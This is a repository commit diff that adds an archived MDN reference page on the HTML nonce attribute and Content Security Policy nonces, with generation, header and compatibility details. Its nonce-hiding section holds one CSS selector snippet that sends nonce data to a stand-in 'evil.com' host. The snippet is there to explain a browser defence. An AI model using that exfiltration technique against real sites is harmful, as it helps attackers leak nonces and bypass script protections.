summaryrefslogtreecommitdiff
path: root/devdocs/html/global_attributes%2Fnonce.html
diff options
context:
space:
mode:
authorCraig Jennings <c@cjennings.net>2024-04-07 13:41:34 -0500
committerCraig Jennings <c@cjennings.net>2024-04-07 13:41:34 -0500
commit754bbf7a25a8dda49b5d08ef0d0443bbf5af0e36 (patch)
treef1190704f78f04a2b0b4c977d20fe96a828377f1 /devdocs/html/global_attributes%2Fnonce.html
new repository
Diffstat (limited to 'devdocs/html/global_attributes%2Fnonce.html')
-rw-r--r--devdocs/html/global_attributes%2Fnonce.html113
1 files changed, 113 insertions, 0 deletions
diff --git a/devdocs/html/global_attributes%2Fnonce.html b/devdocs/html/global_attributes%2Fnonce.html
new file mode 100644
index 00000000..82cdea4a
--- /dev/null
+++ b/devdocs/html/global_attributes%2Fnonce.html
@@ -0,0 +1,113 @@
+<header><h1>nonce</h1></header><div class="section-content"><p> The <code>nonce</code> <a href="../global_attributes">global attribute</a> is a content attribute defining a cryptographic nonce ("number used once") which can be used by <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policy</a> to determine whether or not a given fetch will be allowed to proceed for a given element. </p></div>
+<h2 id="description">Description</h2>
+<div class="section-content">
+<p> The <code>nonce</code> attribute is useful to allowlist specific elements, such as a particular inline script or style elements. It can help you to avoid using the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">CSP</a> <code>unsafe-inline</code> directive, which would allowlist <em>all</em> inline scripts or styles. </p> <div class="notecard note" id="sect1"> <p> <strong>Note:</strong> Only use <code>nonce</code> for cases where you have no way around using unsafe inline script or style contents. If you don't need <code>nonce</code>, don't use it. If your script is static, you could also use a CSP hash instead. (See usage notes on <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#unsafe_inline_script">unsafe inline script</a>.) Always try to take full advantage of <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">CSP</a> protections and avoid nonces or unsafe inline scripts whenever possible. </p> </div>
+</div>
+<h3 id="using_nonce_to_allowlist_a_script_element">Using nonce to allowlist a &lt;script&gt; element</h3>
+<div class="section-content">
+<p>There are a few steps involved to allowlist an inline script using the nonce mechanism:</p> <h4 id="generating_values">Generating values</h4> <p> From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs: </p> <div class="code-example">
+<p class="example-header"><span class="language-name">js</span></p>
+<pre data-signature="zB67V+cco1wa0pAli8kumuOzdGYLWKCjHlP3XEjixdI=" data-language="js"><span class="token keyword">const</span> crypto <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">"crypto"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
+crypto<span class="token punctuation">.</span><span class="token function">randomBytes</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token string">"base64"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
+<span class="token comment">// '8IBTHwOdqNKAWeKl7plt8g=='</span>
+</pre>
+</div> <h4 id="allowlisting_inline_script">Allowlisting inline script</h4> <p>The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist:</p> <div class="code-example">
+<p class="example-header"><span class="language-name">html</span></p>
+<pre data-signature="/tbYLnfwT3nAHyAmZ34j2NeBASwkbHO17OIz1j7dww4=" data-language="html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">nonce</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>8IBTHwOdqNKAWeKl7plt8g==<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span><span class="token script"><span class="token language-javascript">
+ <span class="token comment">// …</span>
+</span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">&gt;</span></span>
+</pre>
+</div> <h4 id="sending_a_nonce_with_a_csp_header">Sending a nonce with a CSP header</h4> <p> Finally, you'll need to send the nonce value in a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy"><code>Content-Security-Policy</code></a> header (prepend <code>nonce-</code>): </p> <div class="code-example">
+<p class="example-header"><span class="language-name">http</span></p>
+<pre data-signature="ofiWNqhGUZPyuFmL6RH8FcJ7x2+/Hsm19dtZhn6HaiI=" data-language="http"><span class="token header"><span class="token header-name keyword">Content-Security-Policy</span><span class="token punctuation">:</span> <span class="token header-value csp languages-csp">script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='</span></span>
+</pre>
+</div>
+</div>
+<h3 id="accessing_nonces_and_nonce_hiding">Accessing nonces and nonce hiding</h3>
+<div class="section-content">
+<p>For security reasons, the <code>nonce</code> content attribute is hidden (an empty string will be returned).</p> <div class="code-example">
+<p class="example-header"><span class="language-name">js</span></p>
+<pre data-signature="vcL61plJ0VvPNb64YjMBAJFNGZ0iWWKVDIv9+S1GId0=" data-language="js">script<span class="token punctuation">.</span><span class="token function">getAttribute</span><span class="token punctuation">(</span><span class="token string">"nonce"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// returns empty string</span>
+</pre>
+</div> <p>The <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/nonce"><code>nonce</code></a> property is the only way to access nonces:</p> <div class="code-example">
+<p class="example-header"><span class="language-name">js</span></p>
+<pre data-signature="Z7QBT2SqRQcL8xBxFXe2jZUxiSa4amxUPgiIShO37ro=" data-language="js">script<span class="token punctuation">.</span>nonce<span class="token punctuation">;</span> <span class="token comment">// returns nonce value</span>
+</pre>
+</div> <p> Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this: </p> <div class="code-example">
+<p class="example-header"><span class="language-name">css</span></p>
+<pre data-signature="7jcEtfhRt2s3WYAb5vuVO2C3mmcrN89eUhPgKa1r8QI=" data-language="css"><span class="token selector">script[nonce~="whatever"]</span> <span class="token punctuation">{</span>
+ <span class="token property">background</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"https://evil.com/nonce?whatever"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span>
+<span class="token punctuation">}</span>
+</pre>
+</div>
+</div>
+<h2 id="specifications">Specifications</h2>
+<div class="_table"><table class="standard-table">
+<thead><tr><th scope="col">Specification</th></tr></thead>
+<tbody><tr><td><a href="https://html.spec.whatwg.org/multipage/urls-and-fetching.html#attr-nonce">HTML Standard <br><small># attr-nonce</small></a></td></tr></tbody>
+</table></div>
+<h2 id="browser_compatibility">Browser compatibility</h2>
+<div class="_table"><table>
+<thead>
+<tr id="bct-browser-type">
+<th></th>
+<th colspan="6">Desktop</th>
+<th colspan="6">Mobile</th>
+</tr>
+<tr id="bct-browsers">
+<th></th>
+<th>Chrome</th>
+<th>Edge</th>
+<th>Firefox</th>
+<th>Internet Explorer</th>
+<th>Opera</th>
+<th>Safari</th>
+<th>WebView Android</th>
+<th>Chrome Android</th>
+<th>Firefox for Android</th>
+<th>Opera Android</th>
+<th>Safari on IOS</th>
+<th>Samsung Internet</th>
+</tr>
+</thead>
+<tbody>
+<tr>
+<th><code>nonce</code></th>
+<td class="bc-supports-yes">Yes</td>
+<td class="bc-supports-yes">Yes</td>
+<td class="bc-supports-yes">31</td>
+<td class="bc-supports-no">No</td>
+<td class="bc-supports-yes">Yes</td>
+<td class="bc-supports-yes">Yes</td>
+<td class="bc-supports-yes">Yes</td>
+<td class="bc-supports-yes">Yes</td>
+<td class="bc-supports-yes">31</td>
+<td class="bc-supports-yes">Yes</td>
+<td class="bc-supports-yes">Yes</td>
+<td class="bc-supports-yes">Yes</td>
+</tr>
+<tr>
+<th><code>nonce_hiding</code></th>
+<td class="bc-supports-yes">61</td>
+<td class="bc-supports-yes">79</td>
+<td class="bc-supports-yes">75</td>
+<td class="bc-supports-no">No</td>
+<td class="bc-supports-yes">48</td>
+<td class="bc-supports-no">No</td>
+<td class="bc-supports-yes">61</td>
+<td class="bc-supports-yes">61</td>
+<td class="bc-supports-yes">79</td>
+<td class="bc-supports-yes">45</td>
+<td class="bc-supports-no">No</td>
+<td class="bc-supports-yes">8.0</td>
+</tr>
+</tbody>
+</table></div>
+<h2 id="see_also">See also</h2>
+<div class="section-content"><ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/nonce"><code>HTMLElement.nonce</code></a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policy</a></li> <li>CSP: <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src"><code>script-src</code></a>
+</li> </ul></div><div class="_attribution">
+ <p class="_attribution-p">
+ &copy; 2005&ndash;2023 MDN contributors.<br>Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.<br>
+ <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce" class="_attribution-link">https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce</a>
+ </p>
+</div>